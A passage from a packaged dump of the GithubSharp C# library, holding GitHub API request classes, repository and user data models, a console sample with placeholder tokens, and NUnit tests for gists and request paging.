set; }\r\n        public int StatusCode { get; set; }\r\n        public string StatusText { get; set; }\r\n    }\r\n\r\n\r\n    public class GithubErrorResponse : GithubResponseWithReturnType<GithubErrorModel>\r\n    {\r\n\r\n    }\r\n\r\n\r\n    public class GithubErrorModel\r\n    {\r\n        public string message\r\n        {\r\n            get;\r\n            set;\r\n        }\r\n        public IEnumerable<GithubErrorDetails> errors\r\n        {\r\n            get;\r\n            set;\r\n        }\r\n    }\r\n\r\n    public class GithubErrorDetails\r\n    {\r\n        public string Resource\r\n        {\r\n            get;\r\n            set;\r\n        }\r\n\r\n        public string Field\r\n        {\r\n            get;\r\n            set;\r\n        }\r\n\r\n        public string Code\r\n        {\r\n            get;\r\n            set;\r\n        }\r\n    }\r\n}\r\n\r\n", "Core/GithubRequestWithInputAndReturnType.cs": "using GithubSharp.Core.Services;\r\nusing GithubSharp.Core.Base;\r\n\r\nnamespace GithubSharp.Core\r\n{\r\n    public class GithubRequestWithInputAndReturnType<TInputType, TReturnType> : GithubRequestWithReturnType<TReturnType>\r\n        where TReturnType : class\r\n    {\r\n        public GithubRequestWithInputAndReturnType(\r\n            ILogProvider logProvider,\r\n            ICacheProvider cacheProvider,\r\n            IAuthProvider authProvider,\r\n            string path,\r\n            TInputType input)\r\n            : base(logProvider,\r\n                cacheProvider,\r\n                authProvider,\r\n                path)\r\n        {\r\n            ModelToSend = input;\r\n        }\r\n        public GithubRequestWithInputAndReturnType(\r\n            ILogProvider logProvider,\r\n            ICacheProvider cacheProvider,\r\n            IAuthProvider authProvider,\r\n            string path,\r\n            GithubSharpHttpVerbs method,\r\n            TInputType input)\r\n            : base(logProvider,\r\n                cacheProvider,\r\n                authProvider,\r\n                path,\r\n                method)\r\n        {\r\n            ModelToSend = input;\r\n        }\r\n\r\n        public TInputType ModelToSend { get; set; }\r\n\r\n\r\n        public override System.Net.HttpWebRequest PrepareWebRequest(System.Net.HttpWebRequest webRequest)\r\n        {\r\n            webRequest = base.PrepareWebRequest(webRequest);\r\n            webRequest.ContentType = \"application/json\"; //Get from MimeType?\r\n            webRequest.MediaType = \"UTF-8\";\r\n            var bytes = ToJsonBytes(ModelToSend);\r\n\r\n            webRequest.ContentLength = bytes.Length;\r\n            var stream = webRequest.GetRequestStream();\r\n            stream.Write(bytes, 0, bytes.Length);\r\n            stream.Close();\r\n\r\n            return webRequest;\r\n        }\r\n\r\n        internal static byte[] ToJsonBytes<T>(T obj)\r\n        {\r\n            var jsonString = Newtonsoft.Json.JsonConvert.SerializeObject(obj);\r\n            return System.Text.Encoding.UTF8.GetBytes(jsonString);\r\n        }\r\n    }\r\n}\r\n\r\n", "Core/GithubRequestWithReturnType.cs": "using System;\r\nusing GithubSharp.Core.Base;\r\nusing Newtonsoft.Json;\r\n\r\nnamespace GithubSharp.Core\r\n{\r\n    public class GithubRequestWithReturnType<TReturnType> : GithubRequest\r\n        where TReturnType : class\r\n    {\r\n        public GithubRequestWithReturnType(Services.ILogProvider logProvider,\r\n            Services.ICacheProvider cacheProvider,\r\n            Services.IAuthProvider authProvider,\r\n            string path)\r\n            : base(\r\n                   logProvider,\r\n                   cacheProvider,\r\n                   authProvider,\r\n                   path)\r\n        {\r\n        }\r\n\r\n        public GithubRequestWithReturnType(Services.ILogProvider logProvider,\r\n            Services.ICacheProvider cacheProvider,\r\n            Services.IAuthProvider authProvider,\r\n            string path,\r\n            GithubSharpHttpVerbs method)\r\n            : base(logProvider, cacheProvider, authProvider, path, method)\r\n        {\r\n        }\r\n\r\n        public override bool IsCached(string uri)\r\n        {\r\n            return CacheProvider.IsCached<TReturnType>(uri);\r\n        }\r\n\r\n        public IGithubResponseWithReturnType<TReturnType> GetResponseWithReturnType()\r\n        {\r\n            var baseResult = base.GetResponse();\r\n            var baseWithReturnType = new GithubResponseWithReturnType<TReturnType>\r\n            {\r\n                LinkNext = baseResult.LinkNext,\r\n                LinkFirst = baseResult.LinkFirst,\r\n                LinkLast = baseResult.LinkLast,\r\n                LinkPrevious = baseResult.LinkPrevious,\r\n                RateLimitLimit = baseResult.RateLimitLimit,\r\n                RateLimitRemaining = baseResult.RateLimitRemaining,\r\n                Response = baseResult.Response\r\n            };\r\n\r\n            try\r\n            {\r\n                baseWithReturnType.Result = JsonConvert.DeserializeObject<TReturnType>(baseWithReturnType.Response);\r\n            }\r\n            catch (Exception error)\r\n            {\r\n                if (LogProvider.HandleAndReturnIfToThrowError(error))\r\n                    throw;\r\n            }\r\n\r\n            return baseWithReturnType;\r\n        }\r\n    }\r\n}\r\n\r\n", "Core/Models/Internal/PullRequest.cs": "\ufeffusing System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Text;\nusing System.Runtime.Serialization;\n\nnamespace GithubSharp.Core.Models.Internal\n{\n    [Obsolete]\n    [DataContract]\n    internal class PullRequestCollection\n    {\n        [DataMember(Name = \"pulls\")]\n        public IEnumerable<Models.PullRequest> PullRequests { get; set; }\n    }\n\n    [DataContract]\n    internal class PullRequestContainer\n    {\n        [DataMember(Name = \"pull\")]\n        public Models.PullRequest PullRequest { get; set; }\n    }\n}\n", "Core/Models/Internal/Repository.cs": "\ufeffusing System.Collections.Generic;\nusing System.Runtime.Serialization;\nusing System;\n\nnamespace GithubSharp.Core.Models.Internal\n{\n    [DataContract]\n    internal class RepositoryCollection<TRepoType>\n    {\n        [DataMember(Name = \"repositories\")]\n        public IEnumerable<TRepoType> Repositories { get; set; }\n    }\n    [Obsolete]\n    [DataContract]\n    internal class RepositoryContainer<TRepoType>\n    {\n        [DataMember(Name = \"repository\")]\n        public TRepoType Repository { get; set; }\n    }\n\n    [DataContract]\n    internal class RepositoryFromNetworkContainer\n    {\n        [DataMember(Name = \"network\")]\n        public IEnumerable<Repository> Network { get; set; }\n    }\n\n    [DataContract]\n    internal class RepositoryDelete\n    {\n        [DataMember(Name = \"delete_token\")]\n        public string DeleteToken { get; set; }\n    }\n\n    [DataContract]\n    internal class RepositoryDeleted\n    {\n        [DataMember(Name = \"status\")]\n        public string Status { get; set; }\n    }\n\n    [DataContract]\n    internal class LanguagesCollection\n    {\n        [DataMember(Name = \"languages\")]\n        public Dictionary<string, int> Languages { get; set; }\n    }\n\n    [DataContract]\n    internal class TagCollection\n    {\n        [DataMember(Name = \"tags\")]\n        public JsonSimpleDictionary Tags { get; set; }\n    }\n\n    [DataContract]\n    internal class BranchesCollection\n    {\n        [DataMember(Name = \"branches\")]\n        public JsonSimpleDictionary Branches { get; set; }\n    }\n}\n", "Core/Models/Internal/User.cs": "\ufeffusing System;\r\nusing System.Collections.Generic;\r\nusing System.Runtime.Serialization;\r\n\r\nnamespace GithubSharp.Core.Models.Internal\r\n{\r\n    [DataContract]\r\n    internal class PublicKeyCollection<TPublicKeyType>\r\n    {\r\n        [DataMember(Name = \"public_keys\")]\r\n        public IEnumerable<TPublicKeyType> PublicKeys { get; set; }\r\n    }\r\n\r\n    [DataContract]\r\n    internal class UsersCollection<TUserType>\r\n    {\r\n        [DataMember(Name = \"users\")]\r\n        public IEnumerable<TUserType> Users { get; set; }\r\n    }\r\n\r\n    [DataContract]\r\n    internal class EmailCollection\r\n    {\r\n        [DataMember(Name = \"emails\")]\r\n        public IEnumerable<string> Emails { get; set; }\r\n    }\r\n    [Obsolete(\"not in v3\")]\r\n    [DataContract]\r\n    internal class UserContainer<TUserType>\r\n    {\r\n        [DataMember(Name = \"user\")]\r\n        public TUserType User { get; set; }\r\n    }\r\n\r\n    [DataContract]\r\n    internal class CollaboratorsCollection\r\n    {\r\n        [DataMember(Name = \"collaborators\")]\r\n        public IEnumerable<string> Collaborators { get; set; }\r\n    }\r\n}\r\n", "Core/Models/Repository.cs": "using System;\r\nusing System.Runtime.Serialization;\r\n\r\nnamespace GithubSharp.Core.Models\r\n{\r\n    [DataContract]\r\n    public class Repository\r\n    {\r\n        [DataMember(Name = \"name\")]\r\n        public string Name { get; set; }\r\n\r\n        [DataMember(Name = \"full_name\")]\r\n        public string FullName { get; set; }\r\n\r\n        //[DataMember(Name = \"owner\")]\r\n        //public string Owner { get; set; }//TODO\r\n\r\n        [DataMember(Name = \"private\")]\r\n        public bool Private { get; set; }\r\n\r\n        [DataMember(Name = \"html_url\")]\r\n        public string HtmlUrl { get; set; }\r\n\r\n        [DataMember(Name = \"description\")]\r\n        public string Description { get; set; }\r\n\r\n        [DataMember(Name = \"fork\")]\r\n        public bool Fork { get; set; }\r\n\r\n        [DataMember(Name = \"url\")]\r\n        public string Url { get; set; }\r\n\r\n        [DataMember(Name = \"forks_url\")]\r\n        public string ForksUrl { get; set; }\r\n\r\n        [DataMember(Name = \"collaborators_url\")]\r\n        public string CollaboratorsUrl { get; set; }\r\n        \r\n        [DataMember(Name = \"homepage\")]\r\n        public string Homepage { get; set; }\r\n\r\n        [DataMember(Name = \"open_issues_count\")]\r\n        public int OpenIssuesCount { get; set; }\r\n\r\n        [DataMember(Name = \"watchers\")]\r\n        public int WatchersCount { get; set; }\r\n\r\n        [DataMember(Name = \"forks\")]\r\n        public int Forks { get; set; }\r\n\r\n        //[DataMember(Name = \"source\")]\r\n        //public string Source { get; set; }\r\n\r\n        [DataMember(Name = \"parent\")]\r\n        public ParentRepository Parent { get; set; }//TODO\r\n\r\n        //public string WatchersURL { get { return string.Format(\"http://github.com/{0}/{1}/watchers\", Owner, Name); } }\r\n        //public string DownloadURL { get { return string.Format(\"http://github.com/{0}/{1}/zipball/master\", Owner, Name); } }\r\n        //public string ForksURL { get { return string.Format(\"http://github.com/{0}/{1}/network/members\", Owner, Name); } }\r\n        //public string IssuesURL { get { return string.Format(\"http://github.com/{0}/{1}/issues\", Owner, Name); } }\r\n        //public string WikiURL { get { return string.Format(\"http://wiki.github.com/{0}/{1}\", Owner, Name); } }\r\n        //public string GraphsURL { get { return string.Format(\"http://github.com/{0}/{1}/graphs\", Owner, Name); } }\r\n        //public string ForkQuoueURL { get { return string.Format(\"http://github.com/{0}/{1}/forkqueue\", Owner, Name); } }\r\n        //public string GitCloneURL { get { return string.Format(\"git://github.com/{0}/{1}.git\", Owner, Name); } }\r\n        //public string HttpCloneURL { get { return string.Format(\"http://github.com/{0}/{1}.git\", Owner, Name); } }\r\n        //public string ForkURL { get { return string.Format(\"http://github.com/{0}/{1}/fork\", Owner, Name); } }\r\n        //public string WatchURL { get { return string.Format(\"http://github.com/{0}/{1}/toggle_watch\", Owner, Name); } }\r\n    }\r\n    [DataContract]\r\n    public class ParentRepository\r\n    {\r\n\r\n        [DataMember(Name = \"full_name\")]\r\n        public string FullName { get; set; }\r\n\r\n        [DataMember(Name = \"id\")]\r\n        public string Id { get; set; }\r\n    }\r\n\r\n    [DataContract]\r\n    public class RepositoryFromSearch\r\n    {\r\n        [DataMember(Name = \"name\")]\r\n        public string Name { get; set; }\r\n\r\n        [DataMember(Name = \"size\")]\r\n        public int Size { get; set; }\r\n\r\n        [DataMember(Name = \"followers\")]\r\n        public int Followers { get; set; }\r\n\r\n        [DataMember(Name = \"username\")]\r\n        public string Username { get; set; }\r\n\r\n        [DataMember(Name = \"language\")]\r\n        public string Language { get; set; }\r\n\r\n        [DataMember(Name = \"fork\")]\r\n        public bool Fork { get; set; }\r\n\r\n        [DataMember(Name = \"id\")]\r\n        public string Id { get; set; }\r\n\r\n        [DataMember(Name = \"type\")]\r\n        public string Type { get; set; }\r\n\r\n        [DataMember(Name = \"pushed\")]\r\n        private string PrivatePushed\r\n        {\r\n            get { return Pushed.ToString(); }\r\n            set\r\n            {\r\n                Pushed = value != null ? DateTime.Parse(value) : default(DateTime);\r\n            }\r\n        }\r\n        public DateTime Pushed { get; set; }\r\n\r\n        [DataMember(Name = \"forks\")]\r\n        public int Forks { get; set; }\r\n\r\n        [DataMember(Name = \"description\")]\r\n        public string Description { get; set; }\r\n\r\n        [DataMember(Name = \"score\")]\r\n        public float Score { get; set; }\r\n\r\n        [DataMember(Name = \"created\")]\r\n        private string PrivateCreated\r\n        {\r\n            get { return Created.ToString(); }\r\n            set { Created = value != null ? DateTime.Parse(value) : default(DateTime); }\r\n        }\r\n        public DateTime Created { get; set; }\r\n    }\r\n\r\n    [DataContract]\r\n    public class Language\r\n    {\r\n        public string Name { get; set; }\r\n        public int CalculatedBytes { get; set; }\r\n    }\r\n\r\n    [DataContract]\r\n    public class TagOrBranch\r\n    {\r\n        public string Name { get; set; }\r\n        public string Sha { get; set; }\r\n    }\r\n}\r\n", "Core/Models/User.cs": "\ufeffusing System;\r\nusing System.Runtime.Serialization;\r\n\r\nnamespace GithubSharp.Core.Models\r\n{\r\n    [DataContract]\r\n    public class UserInCollection\r\n    {\r\n        [DataMember(Name = \"name\")]\r\n        public string Name { get; set; }\r\n\r\n        [DataMember(Name = \"location\")]\r\n        public string Location { get; set; }\r\n\r\n        [DataMember(Name = \"followers\")]\r\n        public int Followers { get; set; }\r\n\r\n        [DataMember(Name = \"username\")]\r\n        public string Username { get; set; }\r\n\r\n        [DataMember(Name = \"language\")]\r\n        public string Language { get; set; }\r\n\r\n        [DataMember(Name = \"fullname\")]\r\n        public string Fullname { get; set; }\r\n\r\n        [DataMember(Name = \"repos\")]\r\n        public int Repos { get; set; }\r\n\r\n        [DataMember(Name = \"id\")]\r\n        public string Id { get; set; }\r\n\r\n        [DataMember(Name = \"type\")]\r\n        public string Type { get; set; }\r\n\r\n        [DataMember(Name = \"pushed\")]\r\n        private string PrivatePushed\r\n        {\r\n            get { return Pushed.ToString(); }\r\n            set { Pushed = DateTime.Parse(value); }\r\n        }\r\n        public DateTime Pushed { get; set; }\r\n\r\n        [DataMember(Name = \"score\")]\r\n        public float Score { get; set; }\r\n\r\n        [DataMember(Name = \"created\")]\r\n        private string PrivateCreated\r\n        {\r\n            get { return Created.ToString(); }\r\n            set { Created = DateTime.Parse(value); }\r\n        }\r\n        public DateTime Created { get; set; }\r\n    }\r\n\r\n    [DataContract]\r\n    public class User\r\n    {\r\n        [DataMember(Name = \"login\")]\r\n        public string Login { get; set; }\r\n\r\n        [DataMember(Name = \"id\")]\r\n        public string Id { get; set; }\r\n\r\n        [DataMember(Name = \"avatar_url\")]\r\n        public string AvatarUrl { get; set; }\r\n\r\n        [DataMember(Name = \"gravatar_id\")]\r\n        public string GravatarId { get; set; }\r\n\r\n        [DataMember(Name = \"url\")]\r\n        public string Url { get; set; }\r\n\r\n        [DataMember(Name = \"name\")]\r\n        public string Name { get; set; }\r\n\r\n        [DataMember(Name = \"company\")]\r\n        public string Company { get; set; }\r\n\r\n        [DataMember(Name = \"location\")]\r\n        public string Location { get; set; }\r\n\r\n        [DataMember(Name = \"created_at\")]\r\n        private string PrivateCreatedAt\r\n        {\r\n            get { return CreatedAt.ToString(); }\r\n            set { CreatedAt = DateTime.Parse(value); }\r\n        }\r\n\r\n        public DateTime CreatedAt { get; set; }\r\n\r\n        [DataMember(Name = \"public_gists\")]\r\n        public int PublicGistCount { get; set; }\r\n\r\n        [DataMember(Name = \"public_repos\")]\r\n        public int PublicRepoCount { get; set; }\r\n\r\n        [DataMember(Name = \"blog\")]\r\n        public string Blog { get; set; }\r\n\r\n        [DataMember(Name = \"following\")]\r\n        public int Following { get; set; }\r\n\r\n        [DataMember(Name = \"follower\")]\r\n        public int Followers { get; set; }\r\n\r\n        [DataMember(Name = \"email\")]\r\n        public string Email { get; set; }\r\n    }\r\n\r\n    [DataContract]\r\n    public class UserAuthenticated : User\r\n    {\r\n        [DataMember(Name = \"total_private_repo_count\")]\r\n        public int TotalPrivateRepoCount { get; set; }\r\n\r\n        [DataMember(Name = \"collaborators\")]\r\n        public int Collaborators { get; set; }\r\n\r\n        [DataMember(Name = \"disk_usage\")]\r\n        public int DiskUsage { get; set; }\r\n\r\n        [DataMember(Name = \"owned_private_repo_count\")]\r\n        public int OwnedPrivateRepoCount { get; set; }\r\n\r\n        [DataMember(Name = \"private_gist_count\")]\r\n        public int PrivateGistCount { get; set; }\r\n\r\n        [DataMember(Name = \"plan\")]\r\n        public UserAuthenticatedPlan Plan { get; set; }\r\n    }\r\n\r\n    [DataContract]\r\n    public class UserAuthenticatedPlan\r\n    {\r\n        [DataMember(Name = \"name\")]\r\n        public string Name { get; set; }\r\n\r\n        [DataMember(Name = \"collaborators\")]\r\n        public int Collaborators { get; set; }\r\n\r\n        [DataMember(Name = \"space\")]\r\n        public int Space { get; set; }\r\n\r\n        [DataMember(Name = \"private_repos\")]\r\n        public int PrivateRepos { get; set; }\r\n    }\r\n\r\n    [DataContract]\r\n    public class PublicKey\r\n    {\r\n        [DataMember(Name = \"title\")]\r\n        public string Title { get; set; }\r\n\r\n        [DataMember(Name = \"id\")]\r\n        public int Id { get; set; }\r\n\r\n        [DataMember(Name = \"key\")]\r\n        public string Key { get; set; }\r\n    }\r\n\r\n   \r\n}\r\n", "Samples/ConsoleSample/Program.cs": "\ufeffusing System;\r\nusing GithubSharp.Core.API;\r\nusing GithubSharp.Plugins.LogProviders.SimpleLogProvider;\r\nusing GithubSharp.Core.Services;\r\n\r\nnamespace ConsoleSample\r\n{\r\n    class Program\r\n    {\r\n        static void Main()\r\n        {\r\n            //TestPullRequest ();\r\n\r\n            var user = new User(new BasicCacher.BasicCacher(), new SimpleLogProvider());\r\n            var u = user.Get(\"rumpl\");\r\n            Console.WriteLine(u.Blog);\r\n            u = user.Get(\"rumpl\");\r\n            Console.WriteLine(u.Blog);\r\n\r\n            user.Authenticate(new GithubSharp.Core.Models.GithubUser { Name = \"erikzaadi\", APIToken = \"XXXXXXXXXXXXXXXXXXXXXXXXXXXX\" });\r\n            try\r\n            {\r\n                var privateuser = user.Get();\r\n                if (privateuser == null)\r\n                    throw new Exception(\"Invalid user\");\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                Console.WriteLine(e.Message);\r\n            }\r\n\r\n\r\n            var issuesAPI = new Issues(new BasicCacher.BasicCacher(), new SimpleLogProvider());\r\n\r\n            var closedIssues = issuesAPI.List(\"GithubSharp\", \"erikzaadi\", GithubSharp.Core.Models.IssueState.Closed);\r\n            var openIssues = issuesAPI.List(\"GithubSharp\", \"erikzaadi\", GithubSharp.Core.Models.IssueState.Open);\r\n\r\n\r\n            Console.ReadKey();\r\n        }\r\n\r\n        private static void TestPullRequest()\r\n        {\r\n            var cocytusUser = new GithubSharp.Core.Models.GithubUser { Name = \"cocytus\", APIToken = \"XXXXXXXXXXXXXXXXXXXXXXXXXXXX\" };\r\n            PullRequest pullApi = new PullRequest(new BasicCacher.BasicCacher(), new ConsoleLogger());\r\n            var pulls = pullApi.List(\"spdr870\", \"gitextensions\");\r\n            foreach (var pull in pulls)\r\n            {\r\n                Console.WriteLine(\"Pull from {1}: {0}\\r\\nVotes: {2}\\r\\nBody: {3}\\r\\nGravatar ID: {4}\", pull.Title, pull.User.Login, pull.Votes, pull.Body, pull.User.GravatarId);\r\n                Console.WriteLine(\"Created: {0} Updated: {1} Issue updated: {2}\", pull.Created, pull.Updated, pull.IssueUpdated);\r\n                Console.WriteLine(\"Base: Owner: {0} Name: {1} Ref: {2} Sha: {3}\", pull.Base.Repository.Owner, pull.Base.Repository.Name, pull.Base.Ref, pull.Base.Sha);\r\n                Console.WriteLine(\"Head: Owner: {0} Name: {1} Ref: {2} Sha: {3}\", pull.Head.Repository.Owner, pull.Head.Repository.Name, pull.Head.Ref, pull.Head.Sha);\r\n\r\n                Console.WriteLine(\"Diff URL: {0}\\r\\nPatch: {1}\", pull.DiffUrl, pull.PatchUrl);\r\n                Console.WriteLine(\"Labels: {0}\", string.Join(\",\", pull.Labels));\r\n                Console.WriteLine(\"Position: {0} Number: {1}\", pull.Position, pull.Number);\r\n            }\r\n\r\n            var pull2 = pullApi.GetById(\"cocytus\", \"gitextensions\", \"1\");\r\n            Console.WriteLine(\"Pull from {1}: {0}\\r\\nVotes: {2}\\r\\nBody: {3}\\r\\nGravatar ID: {4}\", pull2.Title, pull2.User.Login, pull2.Votes, pull2.Body, pull2.User.GravatarId);\r\n            foreach (var d in pull2.Discussion)\r\n            {\r\n                Console.WriteLine(\"Discussion: From {0} At: {1} Type: {2}\", d.User.Login, d.Created, d.Type);\r\n                if (d.Type.ToLowerInvariant() == \"commit\")\r\n                {\r\n                    Console.WriteLine(\"SHA/ID: {0} Body: {1}\", d.Id, d.Body);\r\n                }\r\n                else if (d.Type.ToLowerInvariant() == \"issuecomment\")\r\n                {\r\n                    Console.WriteLine(\"Body: {0}\", d.Body);\r\n                }\r\n                else\r\n                    Console.WriteLine(\"WHAT? \" + d.Type);\r\n            }\r\n        }\r\n    }\r\n\r\n    class ConsoleLogger : ILogProvider\r\n    {\r\n        public bool DebugMode { get { return true; } set { } }\r\n\r\n        public void LogMessage(string Message, params object[] Arguments)\r\n        {\r\n            Console.WriteLine(Message, Arguments);\r\n        }\r\n\r\n        public void LogWarning(string Message, params object[] Arguments)\r\n        {\r\n            Console.WriteLine(Message, Arguments);\r\n        }\r\n\r\n        public bool HandleAndReturnIfToThrowError(Exception error)\r\n        {\r\n            LogMessage(\"Exception: \" + error.Message);\r\n            return false;\r\n        }\r\n    }\r\n}\r\n", "Tests/CoreTests/Legacy/GistModelTest.cs": "using CoreTests;\r\nusing NUnit.Framework;\r\nusing System.Collections.Generic;\r\n\r\nnamespace GithubSharp.Tests.CoreTests\r\n{\r\n    [TestFixture]\r\n    public class GistModelTest\r\n    {\r\n        [Test]\r\n        public void TestCreateEditAndDelete()\r\n        {\r\n            var gistModel = GetAuthenticatedGistApi();\r\n\r\n            var gistFiles = new Dictionary<string, Core.Models.GistFileForCreation>\r\n                                {\r\n                                    {\r\n                                        \"fileName.txt\", new Core.Models.GistFileForCreation\r\n                                                            {\r\n                                                                content = System.Guid.NewGuid().ToString()\r\n                                                            }\r\n                                        }\r\n                                };\r\n\r\n\r\n            var toCreate = new Core.Models.GistToCreateOrEdit\r\n            {\r\n                description = \"test gist\",\r\n                @public = false,\r\n                files = gistFiles\r\n            };\r\n\r\n            var createdGist = gistModel.Create(toCreate);\r\n\r\n            Assert.IsNotNull(createdGist);\r\n            Assert.AreEqual(createdGist.description, toCreate.description);\r\n            Assert.AreEqual(createdGist.files[\"fileName.txt\"].content, toCreate.files[\"fileName.txt\"].content);\r\n\r\n            toCreate.files[\"fileName.txt\"].content = System.Guid.NewGuid().ToString();\r\n\r\n            var editedGist = gistModel.Edit(createdGist.id, toCreate);\r\n\r\n            Assert.AreEqual(editedGist.files[\"fileName.txt\"].content, toCreate.files[\"fileName.txt\"].content);\r\n            Assert.AreNotEqual(editedGist.files[\"fileName.txt\"].content, createdGist.files[\"fileName.txt\"].content);\r\n            Assert.AreEqual(editedGist.id, createdGist.id);\r\n\r\n            gistModel.Delete(editedGist.id);\r\n        }\r\n\r\n        [Test]\r\n        public void PublicGistsTest()\r\n        {\r\n            var gistModel = GetAuthenticatedGistApi();\r\n\r\n            var publicGists = gistModel.Public();\r\n\r\n            Assert.IsNotNull(publicGists);\r\n            Assert.IsTrue(new List<Core.Models.Gist>(publicGists).Count > 0);\r\n        }\r\n\r\n        [Test]\r\n        public void GistStarTest()\r\n        {\r\n            var gistModel = GetAuthenticatedGistApi();\r\n\r\n            var createdGist = CreateGist(gistModel);\r\n\r\n            Assert.IsFalse(gistModel.HasStar(createdGist.id));\r\n\r\n            gistModel.Star(createdGist.id);\r\n\r\n            Assert.IsTrue(gistModel.HasStar(createdGist.id));\r\n\r\n            gistModel.Unstar(createdGist.id);\r\n\r\n            Assert.IsFalse(gistModel.HasStar(createdGist.id));\r\n\r\n            gistModel.Delete(createdGist.id);\r\n        }\r\n\r\n        [Test]\r\n        public void GistCommentsTest()\r\n        {\r\n            var gistApi = GetAuthenticatedGistApi();\r\n            var createdGist = CreateGist(gistApi);\r\n\r\n            var gistComments = gistApi.ListComments(createdGist.id);\r\n\r\n            Assert.IsTrue(gistComments == null || new List<Core.Models.Comment>(gistComments).Count == 0);\r\n\r\n            var gistComment = new Core.Models.CommentForCreationOrEdit { body = System.Guid.NewGuid().ToString() };\r\n\r\n            var createdGistComment = gistApi.CreateComment(createdGist.id, gistComment);\r\n\r\n            Assert.AreEqual(createdGistComment.body, gistComment.body);\r\n\r\n            Assert.IsTrue(new List<Core.Models.Comment>(gistApi.ListComments(createdGist.id)).Count == 1);\r\n\r\n            var editedGistCommentToSend = new Core.Models.CommentForCreationOrEdit { body = createdGistComment.body + \" aha!\" };\r\n\r\n            var editedGistComment = gistApi.EditComment(createdGistComment.id,\r\n                editedGistCommentToSend);\r\n\r\n            Assert.AreNotEqual(editedGistComment.body, createdGistComment.body);\r\n\r\n            //To fast?\r\n            //Assert.AreNotEqual(editedGistComment.created_at, createdGistComment.created_at);\r\n            //Assert.IsTrue(editedGistComment.created_at >  createdGistComment.created_at);\r\n            Assert.AreEqual(editedGistComment.body, editedGistCommentToSend.body);\r\n            Assert.AreEqual(createdGistComment.id, editedGistComment.id);\r\n\r\n            var retrievedComment = gistApi.GetComment(createdGistComment.id);\r\n\r\n            Assert.AreEqual(editedGistComment.body, retrievedComment.body);\r\n            Assert.AreEqual(createdGistComment.id, retrievedComment.id);\r\n            Assert.AreEqual(editedGistComment.created_at, retrievedComment.created_at);\r\n\r\n            gistApi.DeleteComment(retrievedComment.id);\r\n\r\n            Assert.IsTrue(new List<Core.Models.Comment>(gistApi.ListComments(createdGist.id)).Count == 0);\r\n        }\r\n\r\n        private static Core.API.Gist GetAuthenticatedGistApi()\r\n        {\r\n            return new Core.API.Gist(\r\n                new Plugins.LogProviders.NullLogger.NullLogger(true),\r\n                new Plugins.CacheProviders.NullCacher.NullCacher(),\r\n                new Plugins.AuthProviders.UserPasswordAuthProvider.UserPasswordAuthProvider\r\n                        (TestSettings.Username, TestSettings.Password));\r\n        }\r\n\r\n        private static Core.Models.Gist CreateGist(Core.API.Gist gistApi)\r\n        {\r\n            var gistFiles = new Dictionary<string, Core.Models.GistFileForCreation>\r\n                                {\r\n                                    {\r\n                                        \"fileName.txt\", new Core.Models.GistFileForCreation\r\n                                                            {\r\n                                                                content = System.Guid.NewGuid().ToString()\r\n                                                            }\r\n                                        }\r\n                                };\r\n\r\n\r\n            var toCreate = new Core.Models.GistToCreateOrEdit\r\n            {\r\n                description = \"test gist\",\r\n                @public = false,\r\n                files = gistFiles\r\n            };\r\n\r\n            var createdGist = gistApi.Create(toCreate);\r\n\r\n            return createdGist;\r\n        }\r\n    }\r\n}\r\n\r\n", "Tests/CoreTests/Legacy/GithubRequestTest.cs": "using System;\r\nusing CoreTests;\r\nusing NUnit.Framework;\r\nusing System.Collections.Generic;\r\nusing GithubSharp.Core.Base;\r\n\r\nnamespace GithubSharp.Tests.CoreTests\r\n{\r\n    [TestFixture]\r\n    public class GithubRequestTest\r\n    {\r\n        [Test]\r\n        public void GithubRequestShouldHaveTheCorrectMimeTypeAndHttpMethod()\r\n        {\r\n            var baseGithubRequest = new Core.GithubRequest(\r\n                new Plugins.LogProviders.NullLogger.NullLogger(true),\r\n                new Plugins.CacheProviders.NullCacher.NullCacher(),\r\n                new Plugins.AuthProviders.NullAuthProvider.NullAuthProvider(),\r\n                \"\"\r\n                );\r\n\r\n            Assert.AreEqual(baseGithubRequest.GithubSharpMimeType, GithubSharpMimeTypes.Json);\r\n            Assert.AreEqual(baseGithubRequest.Method, GithubSharpHttpVerbs.Get);\r\n\r\n            Assert.AreEqual(EnumHelper.ToString(baseGithubRequest.GithubSharpMimeType), \"application/vnd.github.json\");\r\n            Assert.AreEqual(EnumHelper.ToString(baseGithubRequest.Method), \"GET\");\r\n\r\n        }\r\n\r\n        [Test]\r\n        public void GithubRequestsShouldAffectTheRateLimitRemaining()\r\n        {\r\n            var baseGithubRequest = new Core.GithubRequest(\r\n                new Plugins.LogProviders.NullLogger.NullLogger(true),\r\n                new Plugins.CacheProviders.NullCacher.NullCacher(),\r\n                new Plugins.AuthProviders.NullAuthProvider.NullAuthProvider(),\r\n                \"\"\r\n                );\r\n\r\n            var response = baseGithubRequest.GetResponse();\r\n\r\n            var first = response.RateLimitRemaining;\r\n\r\n            response = baseGithubRequest.GetResponse();\r\n\r\n            Assert.IsTrue(first > response.RateLimitRemaining,\r\n                string.Format(\"Rate Limit should decrease: {0} should be larger than {1}\", first, response.RateLimitRemaining));\r\n        }\r\n\r\n\r\n        [Test]\r\n        public void GithubRequestsPagingShouldHavePaginationLink()\r\n        {\r\n            var baseGithubRequest = new Core.GithubRequest(\r\n                new Plugins.LogProviders.NullLogger.NullLogger(true),\r\n                new Plugins.CacheProviders.NullCacher.NullCacher(),\r\n                new Plugins.AuthProviders.NullAuthProvider.NullAuthProvider(),\r\n                \"users/jenkinsci/repos\"\r\n                );\r\n\r\n            baseGithubRequest.PagingCurrentPage = 3;\r\n            baseGithubRequest.PagingRequestAmount = 5;\r\n\r\n            var response = baseGithubRequest.GetResponse();\r\n\r\n            Assert.AreEqual(\"https://api.github.com/users/jenkinsci/repos?page=4&per_page=5\", response.LinkNext);\r\n            Assert.AreEqual(\"https://api.github.com/users/jenkinsci/repos?page=2&per_page=5\", response.LinkPrevious);\r\n            Assert.AreEqual(\"https://api.github.com/users/jenkinsci/repos?page=1&per_page=5\", response.LinkFirst);\r\n            Assert.That(response.LinkLast.StartsWith(\"https://api.github.com/users/jenkinsci/repos\"));\r\n        }\r\n\r\n        [Test]\r\n        public void GithubRequestWithType()\r\n        {\r\n            var baseGithubRequest = new Core.GithubRequestWithReturnType<GithubSharp.Core.Models.Commit>(\r\n                new Plugins.LogProviders.NullLogger.NullLogger(true),\r\n                new Plugins.CacheProviders.NullCacher.NullCacher(),\r\n                new Plugins.AuthProviders.NullAuthProvider.NullAuthProvider(),\r\n                \"repos/erikzaadi/GithubSharp/git/commits/725f7bbf87ab0979a080e4daaa8a9dd2b9d89489\"\r\n                );\r\n\r\n            var commit = 